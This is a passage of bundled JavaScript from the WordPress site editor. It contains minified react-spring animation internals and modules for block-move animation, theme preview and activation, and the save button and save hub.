0)):esm_Ve(Fn,P=>{let l=e[P];if(dist_esm_l.fun(l)){let h=t._events[P];e[P]=({finished:g,cancelled:x})=>{let S=h.get(l);S?(g||(S.finished=!1),x&&(S.cancelled=!0)):h.set(l,{value:null,finished:g||!1,cancelled:x||!1})},p&&(p[P]=e[P])}});let d=t._state;e.pause===!d.paused?(d.paused=e.pause,yt(e.pause?d.pauseQueue:d.resumeQueue)):d.paused&&(e.pause=!0);let m=(r||Object.keys(t.springs)).map(P=>t.springs[P].start(e)),b=e.cancel===!0||esm_ke(e,"cancel")===!0;(f||b&&d.asyncId)&&m.push(esm_Me(++t._lastAsyncId,{props:e,state:d,actions:{pause:Y,resume:Y,start(P,l){b?(esm_oe(d,t._lastAsyncId),l(esm_q(t))):(P.onRest=i,l(esm_De(f,P,d,t)))}}})),d.paused&&await new Promise(P=>{d.resumeQueue.add(P)});let c=esm_be(t,await Promise.all(m));if(a&&c.finished&&!(n&&c.noop)){let P=at(e,a,o);if(P)return jt(t,[P]),wt(t,P,!0)}return u&&esm_n.batchedUpdates(()=>u(c,t,t.item)),c}function esm_e(t,e){let n={...t.springs};return e&&pe(Ve(e),r=>{z.und(r.keys)&&(r=esm_Pe(r)),z.obj(r.to)||(r={...r,to:void 0}),Mt(n,r,o=>esm_Lt(o))}),pt(t,n),n}function pt(t,e){Ut(e,(n,r)=>{t.springs[r]||(t.springs[r]=n,Et(n,t))})}function esm_Lt(t,e){let n=new esm_ue;return n.key=t,e&&Gt(n,e),n}function Mt(t,e,n){e.keys&&esm_Ve(e.keys,r=>{(t[r]||(t[r]=n(r)))._prepareNode(e)})}function jt(t,e){esm_Ve(e,n=>{Mt(t.springs,n,r=>esm_Lt(r,t))})}var dist_esm_H=({children:t,...e})=>{let n=(0,external_React_.useContext)(esm_Ge),r=e.pause||!!n.pause,o=e.immediate||!!n.immediate;e=Lr(()=>({pause:r,immediate:o}),[r,o]);let{Provider:s}=esm_Ge;return external_React_.createElement(s,{value:e},t)},esm_Ge=wn(dist_esm_H,{});dist_esm_H.Provider=esm_Ge.Provider;dist_esm_H.Consumer=esm_Ge.Consumer;function wn(t,e){return Object.assign(t,external_React_.createContext(e)),t.Provider._context=t,t.Consumer._context=t,t}var esm_fe=()=>{let t=[],e=function(r){Ln();let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=n(r,s,a);i&&o.push(s.start(i))}}),o};e.current=t,e.add=function(r){t.includes(r)||t.push(r)},e.delete=function(r){let o=t.indexOf(r);~o&&t.splice(o,1)},e.pause=function(){return ce(t,r=>r.pause(...arguments)),this},e.resume=function(){return ce(t,r=>r.resume(...arguments)),this},e.set=function(r){ce(t,(o,s)=>{let a=Ke.fun(r)?r(s,o):r;a&&o.set(a)})},e.start=function(r){let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=this._getProps(r,s,a);i&&o.push(s.start(i))}}),o},e.stop=function(){return ce(t,r=>r.stop(...arguments)),this},e.update=function(r){return ce(t,(o,s)=>o.update(this._getProps(r,o,s))),this};let n=function(r,o,s){return Ke.fun(r)?r(s,o):r};return e._getProps=n,e};function esm_He(t,e,n){let r=jn.fun(e)&&e;r&&!n&&(n=[]);let o=Xe(()=>r||arguments.length==3?esm_fe():void 0,[]),s=Nt(0),a=Dn(),i=Xe(()=>({ctrls:[],queue:[],flush(h,g){let x=esm_e(h,g);return s.current>0&&!i.queue.length&&!Object.keys(x).some(A=>!h.springs[A])?esm_ze(h,g):new Promise(A=>{pt(h,x),i.queue.push(()=>{A(esm_ze(h,g))}),a()})}}),[]),u=Nt([...i.ctrls]),p=[],f=Dt(t)||0;Xe(()=>{Ye(u.current.slice(t,f),h=>{esm_xe(h,o),h.stop(!0)}),u.current.length=t,d(f,t)},[t]),Xe(()=>{d(0,Math.min(f,t))},n);function d(h,g){for(let x=h;x<g;x++){let S=u.current[x]||(u.current[x]=new esm_le(null,i.flush)),A=r?r(x,S):e[x];A&&(p[x]=Ot(A))}}let m=u.current.map((h,g)=>esm_e(h,p[g])),b=Mn(dist_esm_H),c=Dt(b),P=b!==c&&esm_Ue(b);qn(()=>{s.current++,i.ctrls=u.current;let{queue:h}=i;h.length&&(i.queue=[],Ye(h,g=>g())),Ye(u.current,(g,x)=>{o?.add(g),P&&g.start({default:b});let S=p[x];S&&(esm_he(g,S.ref),g.ref?g.queue.push(S):g.start(S))})}),Nn(()=>()=>{Ye(i.ctrls,h=>h.stop(!0))});let l=m.map(h=>({...h}));return o?[l,o]:l}function esm_J(t,e){let n=Qn.fun(t),[[r],o]=esm_He(1,n?t:[t],n?e||[]:e);return n||arguments.length==2?[r,o]:r}var Gn=()=>esm_fe(),Xo=()=>zn(Gn)[0];var Wo=(t,e)=>{let n=Bn(()=>new esm_ue(t,e));return Kn(()=>()=>{n.stop()}),n};function esm_Qt(t,e,n){let r=qt.fun(e)&&e;r&&!n&&(n=[]);let o=!0,s,a=esm_He(t,(i,u)=>{let p=r?r(i,u):e;return s=p.ref,o=o&&p.reverse,p},n||[{}]);if(Yn(()=>{Xn(a[1].current,(i,u)=>{let p=a[1].current[u+(o?1:-1)];if(esm_he(i,s),i.ref){p&&i.update({to:p.springs});return}p?i.start({to:p.springs}):i.start()})},n),r||arguments.length==3){let i=s??a[1];return i._getProps=(u,p,f)=>{let d=qt.fun(u)?u(f,p):u;if(d){let m=i.current[f+(d.reverse?1:-1)];return m&&(d.to=m.springs),d}},a}return a[0]}function esm_Gt(t,e,n){let r=G.fun(e)&&e,{reset:o,sort:s,trail:a=0,expires:i=!0,exitBeforeEnter:u=!1,onDestroyed:p,ref:f,config:d}=r?r():e,m=Jn(()=>r||arguments.length==3?esm_fe():void 0,[]),b=zt(t),c=[],P=lt(null),l=o?null:P.current;Je(()=>{P.current=c}),$n(()=>(j(c,y=>{m?.add(y.ctrl),y.ctrl.ref=m}),()=>{j(P.current,y=>{y.expired&&clearTimeout(y.expirationId),esm_xe(y.ctrl,m),y.ctrl.stop(!0)})}));let h=tr(b,r?r():e,l),g=o&&P.current||[];Je(()=>j(g,({ctrl:y,item:T,key:F})=>{esm_xe(y,m),dist_esm_I(p,T,F)}));let x=[];if(l&&j(l,(y,T)=>{y.expired?(clearTimeout(y.expirationId),g.push(y)):(T=x[T]=h.indexOf(y.key),~T&&(c[T]=y))}),j(b,(y,T)=>{c[T]||(c[T]={key:h[T],item:y,phase:"mount",ctrl:new esm_le},c[T].ctrl.item=y)}),x.length){let y=-1,{leave:T}=r?r():e;j(x,(F,k)=>{let O=l[k];~F?(y=c.indexOf(O),c[y]={...O,item:b[F]}):T&&c.splice(++y,0,O)})}G.fun(s)&&c.sort((y,T)=>s(y.item,T.item));let S=-a,A=Wn(),V=dist_esm_ne(e),_=new Map,v=lt(new Map),w=lt(!1);j(c,(y,T)=>{let F=y.key,k=y.phase,O=r?r():e,U,D,Jt=dist_esm_I(O.delay||0,F);if(k=="mount")U=O.enter,D="enter";else{let M=h.indexOf(F)<0;if(k!="leave")if(M)U=O.leave,D="leave";else if(U=O.update)D="update";else return;else if(!M)U=O.enter,D="enter";else return}if(U=dist_esm_I(U,y.item,T),U=G.obj(U)?esm_de(U):{to:U},!U.config){let M=d||V.config;U.config=dist_esm_I(M,y.item,T,D)}S+=a;let Z={...V,delay:Jt+S,ref:f,immediate:O.immediate,reset:!1,...U};if(D=="enter"&&G.und(Z.from)){let M=r?r():e,Te=G.und(M.initial)||l?M.from:M.initial;Z.from=dist_esm_I(Te,y.item,T)}let{onResolve:Wt}=Z;Z.onResolve=M=>{dist_esm_I(Wt,M);let Te=P.current,B=Te.find(Fe=>Fe.key===F);if(!!B&&!(M.cancelled&&B.phase!="update")&&B.ctrl.idle){let Fe=Te.every(ee=>ee.ctrl.idle);if(B.phase=="leave"){let ee=dist_esm_I(i,B.item);if(ee!==!1){let Ze=ee===!0?0:ee;if(B.expired=!0,!Fe&&Ze>0){Ze<=2147483647&&(B.expirationId=setTimeout(A,Ze));return}}}Fe&&Te.some(ee=>ee.expired)&&(v.current.delete(B),u&&(w.current=!0),A())}};let ft=esm_e(y.ctrl,Z);D==="leave"&&u?v.current.set(y,{phase:D,springs:ft,payload:Z}):_.set(y,{phase:D,springs:ft,payload:Z})});let C=Hn(dist_esm_H),$=Zn(C),L=C!==$&&esm_Ue(C);Je(()=>{L&&j(c,y=>{y.ctrl.start({default:C})})},[C]),j(_,(y,T)=>{if(v.current.size){let F=c.findIndex(k=>k.key===T.key);c.splice(F,1)}}),Je(()=>{j(v.current.size?v.current:_,({phase:y,payload:T},F)=>{let{ctrl:k}=F;F.phase=y,m?.add(k),L&&y=="enter"&&k.start({default:C}),T&&(esm_he(k,T.ref),(k.ref||m)&&!w.current?k.update(T):(k.start(T),w.current&&(w.current=!1)))})},o?void 0:n);let N=y=>Oe.createElement(Oe.Fragment,null,c.map((T,F)=>{let{springs:k}=_.get(T)||T.ctrl,O=y({...k},T.item,T,F);return O&&O.type?Oe.createElement(O.type,{...O.props,key:G.str(T.key)||G.num(T.key)?T.key:T.ctrl.id,ref:O.ref}):O}));return m?[N,m]:N}var esm_er=1;function tr(t,{key:e,keys:n=e},r){if(n===null){let o=new Set;return t.map(s=>{let a=r&&r.find(i=>i.item===s&&i.phase!=="leave"&&!o.has(i));return a?(o.add(a),a.key):esm_er++})}return G.und(n)?t:G.fun(n)?t.map(n):zt(n)}var hs=({container:t,...e}={})=>{let[n,r]=esm_J(()=>({scrollX:0,scrollY:0,scrollXProgress:0,scrollYProgress:0,...e}),[]);return or(()=>{let o=rr(({x:s,y:a})=>{r.start({scrollX:s.current,scrollXProgress:s.progress,scrollY:a.current,scrollYProgress:a.progress})},{container:t?.current||void 0});return()=>{nr(Object.values(n),s=>s.stop()),o()}},[]),n};var Ps=({container:t,...e})=>{let[n,r]=esm_J(()=>({width:0,height:0,...e}),[]);return ar(()=>{let o=sr(({width:s,height:a})=>{r.start({width:s,height:a,immediate:n.width.get()===0||n.height.get()===0})},{container:t?.current||void 0});return()=>{ir(Object.values(n),s=>s.stop()),o()}},[]),n};var cr={any:0,all:1};function Cs(t,e){let[n,r]=pr(!1),o=ur(),s=Bt.fun(t)&&t,a=s?s():{},{to:i={},from:u={},...p}=a,f=s?e:t,[d,m]=esm_J(()=>({from:u,...p}),[]);return lr(()=>{let b=o.current,{root:c,once:P,amount:l="any",...h}=f??{};if(!b||P&&n||typeof IntersectionObserver>"u")return;let g=new WeakMap,x=()=>(i&&m.start(i),r(!0),P?void 0:()=>{u&&m.start(u),r(!1)}),S=V=>{V.forEach(_=>{let v=g.get(_.target);if(_.isIntersecting!==Boolean(v))if(_.isIntersecting){let w=x();Bt.fun(w)?g.set(_.target,w):A.unobserve(_.target)}else v&&(v(),g.delete(_.target))})},A=new IntersectionObserver(S,{root:c&&c.current||void 0,threshold:typeof l=="number"||Array.isArray(l)?l:cr[l],...h});return A.observe(b),()=>A.unobserve(b)},[f]),s?[o,d]:[o,n]}function qs({children:t,...e}){return t(esm_J(e))}function Bs({items:t,children:e,...n}){let r=esm_Qt(t.length,n);return t.map((o,s)=>{let a=e(o,s);return fr.fun(a)?a(r[s]):a})}function Ys({items:t,children:e,...n}){return esm_Gt(t,n)(e)}var esm_W=class extends esm_X{constructor(n,r){super();this.source=n;this.calc=W(...r);let o=this._get(),s=esm_Le(o);esm_D(this,s.create(o))}key;idle=!0;calc;_active=new Set;advance(n){let r=this._get(),o=this.get();bt(r,o)||(dist_esm_k(this).setValue(r),this._onChange(r,this.idle)),!this.idle&&Yt(this._active)&&esm_ct(this)}_get(){let n=dist_esm_l.arr(this.source)?this.source.map(ve):ht(ve(this.source));return this.calc(...n)}_start(){this.idle&&!Yt(this._active)&&(this.idle=!1,esm_Ve(F(this),n=>{n.done=!1}),dist_esm_p.skipAnimation?(esm_n.batchedUpdates(()=>this.advance()),esm_ct(this)):qe.start(this))}_attach(){let n=1;esm_Ve(ht(this.source),r=>{Pt(r)&&Gt(r,this),esm_Re(r)&&(r.idle||this._active.add(r),n=Math.max(n,r.priority+1))}),this.priority=n,this._start()}_detach(){esm_Ve(ht(this.source),n=>{Pt(n)&&Qt(n,this)}),this._active.clear(),esm_ct(this)}eventObserved(n){n.type=="change"?n.idle?this.advance():(this._active.add(n.parent),this._start()):n.type=="idle"?this._active.delete(n.parent):n.type=="priority"&&(this.priority=ht(this.source).reduce((r,o)=>Math.max(r,(esm_Re(o)?o.priority:0)+1),0))}};function vr(t){return t.idle!==!1}function Yt(t){return!t.size||Array.from(t).every(vr)}function esm_ct(t){t.idle||(t.idle=!0,esm_Ve(F(t),e=>{e.done=!0}),$t(t,{type:"idle",parent:t}))}var ui=(t,...e)=>new esm_W(t,e),pi=(t,...e)=>(Cr(),new esm_W(t,e));dist_esm_p.assign({createStringInterpolator:Xt,to:(t,e)=>new esm_W(t,e)});var di=qe.advance;
;// external "ReactDOM"
const external_ReactDOM_namespaceObject = window["ReactDOM"];
;// ./node_modules/@react-spring/web/dist/esm/index.js
var web_dist_esm_k=/^--/;function web_dist_esm_I(t,e){return e==null||typeof e=="boolean"||e===""?"":typeof e=="number"&&e!==0&&!web_dist_esm_k.test(t)&&!(web_dist_esm_c.hasOwnProperty(t)&&web_dist_esm_c[t])?e+"px":(""+e).trim()}var web_dist_esm_v={};function esm_V(t,e){if(!t.nodeType||!t.setAttribute)return!1;let r=t.nodeName==="filter"||t.parentNode&&t.parentNode.nodeName==="filter",{style:i,children:s,scrollTop:u,scrollLeft:l,viewBox:a,...n}=e,d=Object.values(n),m=Object.keys(n).map(o=>r||t.hasAttribute(o)?o:web_dist_esm_v[o]||(web_dist_esm_v[o]=o.replace(/([A-Z])/g,p=>"-"+p.toLowerCase())));s!==void 0&&(t.textContent=s);for(let o in i)if(i.hasOwnProperty(o)){let p=web_dist_esm_I(o,i[o]);web_dist_esm_k.test(o)?t.style.setProperty(o,p):t.style[o]=p}m.forEach((o,p)=>{t.setAttribute(o,d[p])}),u!==void 0&&(t.scrollTop=u),l!==void 0&&(t.scrollLeft=l),a!==void 0&&t.setAttribute("viewBox",a)}var web_dist_esm_c={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},esm_F=(t,e)=>t+e.charAt(0).toUpperCase()+e.substring(1),esm_L=["Webkit","Ms","Moz","O"];web_dist_esm_c=Object.keys(web_dist_esm_c).reduce((t,e)=>(esm_L.forEach(r=>t[esm_F(r,e)]=t[e]),t),web_dist_esm_c);var esm_=/^(matrix|translate|scale|rotate|skew)/,dist_esm_$=/^(translate)/,dist_esm_G=/^(rotate|skew)/,web_dist_esm_y=(t,e)=>dist_esm_l.num(t)&&t!==0?t+e:t,web_dist_esm_h=(t,e)=>dist_esm_l.arr(t)?t.every(r=>web_dist_esm_h(r,e)):dist_esm_l.num(t)?t===e:parseFloat(t)===e,dist_esm_g=class extends animated_dist_esm_u{constructor({x:e,y:r,z:i,...s}){let u=[],l=[];(e||r||i)&&(u.push([e||0,r||0,i||0]),l.push(a=>[`translate3d(${a.map(n=>web_dist_esm_y(n,"px")).join(",")})`,web_dist_esm_h(a,0)])),xt(s,(a,n)=>{if(n==="transform")u.push([a||""]),l.push(d=>[d,d===""]);else if(esm_.test(n)){if(delete s[n],dist_esm_l.und(a))return;let d=dist_esm_$.test(n)?"px":dist_esm_G.test(n)?"deg":"";u.push(ht(a)),l.push(n==="rotate3d"?([m,o,p,O])=>[`rotate3d(${m},${o},${p},${web_dist_esm_y(O,d)})`,web_dist_esm_h(O,0)]:m=>[`${n}(${m.map(o=>web_dist_esm_y(o,d)).join(",")})`,web_dist_esm_h(m,n.startsWith("scale")?1:0)])}}),u.length&&(s.transform=new web_dist_esm_x(u,l)),super(s)}},web_dist_esm_x=class extends esm_ge{constructor(r,i){super();this.inputs=r;this.transforms=i}_value=null;get(){return this._value||(this._value=this._get())}_get(){let r="",i=!0;return esm_Ve(this.inputs,(s,u)=>{let l=ve(s[0]),[a,n]=this.transforms[u](dist_esm_l.arr(l)?l:s.map(ve));r+=" "+a,i=i&&n}),i?"none":r}observerAdded(r){r==1&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Gt(s,this)))}observerRemoved(r){r==0&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Qt(s,this)))}eventObserved(r){r.type=="change"&&(this._value=null),$t(this,r)}};var esm_C=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"];dist_esm_p.assign({batchedUpdates:external_ReactDOM_namespaceObject.unstable_batchedUpdates,createStringInterpolator:Xt,colors:It});var dist_esm_q=dist_esm_Ke(esm_C,{applyAnimatedValues:esm_V,createAnimatedStyle:t=>new dist_esm_g(t),getComponentProps:({scrollTop:t,scrollLeft:e,...r})=>r}),dist_esm_it=dist_esm_q.animated;
;// ./node_modules/@wordpress/edit-site/build-module/components/layout/animation.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function getAbsolutePosition(element) {
return {
top: element.offsetTop,
left: element.offsetLeft
};
}
const ANIMATION_DURATION = 400;
/**
* Hook used to compute the styles required to move a div into a new position.
*
* The way this animation works is the following:
* - It first renders the element as if there was no animation.
* - It takes a snapshot of the position of the block to use it
* as a destination point for the animation.
* - It restores the element to the previous position using a CSS transform
* - It uses the "resetAnimation" flag to reset the animation
* from the beginning in order to animate to the new destination point.
*
* @param {Object} $1 Options
* @param {*} $1.triggerAnimationOnChange Variable used to trigger the animation if it changes.
*/
function useMovingAnimation({
triggerAnimationOnChange
}) {
const ref = (0,external_wp_element_namespaceObject.useRef)();
// Whenever the trigger changes, we need to take a snapshot of the current
// position of the block to use it as a destination point for the animation.
const {
previous,
prevRect
} = (0,external_wp_element_namespaceObject.useMemo)(() => ({
previous: ref.current && getAbsolutePosition(ref.current),
prevRect: ref.current && ref.current.getBoundingClientRect()
}), [triggerAnimationOnChange]);
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
if (!previous || !ref.current) {
return;
}
// We disable the animation if the user has a preference for reduced
// motion.
const disableAnimation = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
if (disableAnimation) {
return;
}
const controller = new esm_le({
x: 0,
y: 0,
width: prevRect.width,
height: prevRect.height,
config: {
duration: ANIMATION_DURATION,
easing: Lt.easeInOutQuint
},
onChange({
value
}) {
if (!ref.current) {
return;
}
let {
x,
y,
width,
height
} = value;
x = Math.round(x);
y = Math.round(y);
width = Math.round(width);
height = Math.round(height);
const finishedMoving = x === 0 && y === 0;
ref.current.style.transformOrigin = 'center center';
ref.current.style.transform = finishedMoving ? null // Set to `null` to explicitly remove the transform.
: `translate3d(${x}px,${y}px,0)`;
ref.current.style.width = finishedMoving ? null : `${width}px`;
ref.current.style.height = finishedMoving ? null : `${height}px`;
}
});
ref.current.style.transform = undefined;
const destination = ref.current.getBoundingClientRect();
const x = Math.round(prevRect.left - destination.left);
const y = Math.round(prevRect.top - destination.top);
const width = destination.width;
const height = destination.height;
controller.start({
x: 0,
y: 0,
width,
height,
from: {
x,
y,
width: prevRect.width,
height: prevRect.height
}
});
return () => {
controller.stop();
controller.set({
x: 0,
y: 0,
width: prevRect.width,
height: prevRect.height
});
};
}, [previous, prevRect]);
return ref;
}
/* harmony default export */ const animation = (useMovingAnimation);
;// ./node_modules/@wordpress/icons/build-module/library/check.js
/**
* WordPress dependencies
*/
const check = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"
})
});
/* harmony default export */ const library_check = (check);
;// ./node_modules/@wordpress/edit-site/build-module/utils/is-previewing-theme.js
/**
* WordPress dependencies
*/
function isPreviewingTheme() {
return !!(0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, 'wp_theme_preview');
}
function currentlyPreviewingTheme() {
if (isPreviewingTheme()) {
return (0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, 'wp_theme_preview');
}
return null;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/save-button/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: save_button_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function SaveButton({
className = 'edit-site-save-button__button',
variant = 'primary',
showTooltip = true,
showReviewMessage,
icon,
size,
__next40pxDefaultSize = false
}) {
const {
params
} = save_button_useLocation();
const {
setIsSaveViewOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
const {
saveDirtyEntities
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store));
const {
dirtyEntityRecords
} = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
const {
isSaving,
isSaveViewOpen,
previewingThemeName
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
isSavingEntityRecord,
isResolving
} = select(external_wp_coreData_namespaceObject.store);
const {
isSaveViewOpened
} = select(store);
const isActivatingTheme = isResolving('activateTheme');
const currentlyPreviewingThemeId = currentlyPreviewingTheme();
return {
isSaving: dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key)) || isActivatingTheme,
isSaveViewOpen: isSaveViewOpened(),
// Do not call `getTheme` with null, it will cause a request to
// the server.
previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : undefined
};
}, [dirtyEntityRecords]);
const hasDirtyEntities = !!dirtyEntityRecords.length;
let isOnlyCurrentEntityDirty;
// Check if the current entity is the only entity with changes.
// We have some extra logic for `wp_global_styles` for now, that
// is used in navigation sidebar.
if (dirtyEntityRecords.length === 1) {
if (params.postId) {
isOnlyCurrentEntityDirty = `${dirtyEntityRecords[0].key}` === params.postId && dirtyEntityRecords[0].name === params.postType;
} else if (params.path?.includes('wp_global_styles')) {
isOnlyCurrentEntityDirty = dirtyEntityRecords[0].name === 'globalStyles';
}
}
const disabled = isSaving || !hasDirtyEntities && !isPreviewingTheme();
const getLabel = () => {
if (isPreviewingTheme()) {
if (isSaving) {
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
(0,external_wp_i18n_namespaceObject.__)('Activating %s'), previewingThemeName);
} else if (disabled) {
return (0,external_wp_i18n_namespaceObject.__)('Saved');
} else if (hasDirtyEntities) {
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
(0,external_wp_i18n_namespaceObject.__)('Activate %s & Save'), previewingThemeName);
}
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
(0,external_wp_i18n_namespaceObject.__)('Activate %s'), previewingThemeName);
}
if (isSaving) {
return (0,external_wp_i18n_namespaceObject.__)('Saving');
}
if (disabled) {
return (0,external_wp_i18n_namespaceObject.__)('Saved');
}
if (!isOnlyCurrentEntityDirty && showReviewMessage) {
return (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %d: number of unsaved changes (number).
(0,external_wp_i18n_namespaceObject._n)('Review %d change…', 'Review %d changes…', dirtyEntityRecords.length), dirtyEntityRecords.length);
}
return (0,external_wp_i18n_namespaceObject.__)('Save');
};
const label = getLabel();
const onClick = isOnlyCurrentEntityDirty ? () => saveDirtyEntities({
dirtyEntityRecords
}) : () => setIsSaveViewOpened(true);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: variant,
className: className,
"aria-disabled": disabled,
"aria-expanded": isSaveViewOpen,
isBusy: isSaving,
onClick: disabled ? undefined : onClick,
label: label
/*
* We want the tooltip to show the keyboard shortcut only when the
* button does something, i.e. when it's not disabled.
*/,
shortcut: disabled ? undefined : external_wp_keycodes_namespaceObject.displayShortcut.primary('s')
/*
* Displaying the keyboard shortcut conditionally makes the tooltip
* itself show conditionally. This would trigger a full-rerendering
* of the button that we want to avoid. By setting `showTooltip`,
* the tooltip is always rendered even when there's no keyboard shortcut.
*/,
showTooltip: showTooltip,
icon: icon,
__next40pxDefaultSize: __next40pxDefaultSize,
size: size,
children: label
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/save-hub/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function SaveHub() {
const {
isDisabled,
isSaving
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
__experimentalGetDirtyEntityRecords,
isSavingEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
const _isSaving = dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key));
return {
isSaving: _isSaving,
isDisabled: _isSaving || !dirtyEntityRecords.length && !isPreviewingTheme()
};
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "edit-site-save-hub",
alignment: "right",
spacing: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveButton, {
className: "edit-site-save-hub__button",
variant: isDisabled ? null : 'primary',
showTooltip: false,
icon: isDisabled && !isSaving ? library_check : null,
showReviewMessage: true,
__next40pxDefaultSize: true
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/utils/use-activate-theme.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: use_activate_theme_useHistory,
useLocation: use_activate_theme_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
/**
* This should be refactored to use the REST API, once the REST API can activate themes.
*
* @return {Function} A function that activates the theme.
*/
function useActivateTheme() {
const history = use_activate_theme_useHistory();
const {
path
} = use_activate_theme_useLocation();
const {
startResolution,
finishResolution
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
return async () => {
if (isPreviewingTheme()) {
const activationURL = 'themes.php?action=activate&stylesheet=' + currentlyPreviewingTheme() + '&_wpnonce=' + window.WP_BLOCK_THEME_ACTIVATE_NONCE;
startResolution('activateTheme');
await window.fetch(activationURL);
finishResolution('activateTheme');
// Remove the wp_theme_preview query param: we've finished activating
// the queue and are switching to normal Site Editor.
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
wp_theme_preview: ''
}));
}
};
}
;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// ./node_modules/@wordpress/edit-site/build-module/utils/use-actual-current-theme.js
/**
* WordPress dependencies
*/
const ACTIVE_THEMES_URL = '/wp/v2/themes?status=active';
function useActualCurrentTheme() {
const [currentTheme, setCurrentTheme] = (0,external_wp_element_namespaceObject.useState)();
(0,external_wp_element_namespaceObject.useEffect)(() => {
// Set the `wp_theme_preview` to empty string to bypass the createThemePreviewMiddleware.
const path = (0,external_wp_url_namespaceObject.addQueryArgs)(ACTIVE_THEMES_URL, {
context: 'edit',
wp_theme_preview: ''
});
external_wp_apiFetch_default()({
path
}).then(activeThemes => setCurrentTheme(activeThemes[0]))
// Do nothing
.catch(() => {});
}, []);
return currentTheme;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/save-panel/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
EntitiesSavedStatesExtensible,
NavigableRegion
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useLocation: save_panel_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const EntitiesSavedStatesForPreview = ({
onClose,
renderDialog,
variant
}) => {
var _currentTheme$name$re, _previewingTheme$name;
const isDirtyProps = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
let activateSaveLabel;
if (isDirtyProps.isDirty) {
activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)('Activate & Save');
} else {
activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)('Activate');
}
const currentTheme = useActualCurrentTheme();
const previewingTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme(), []);
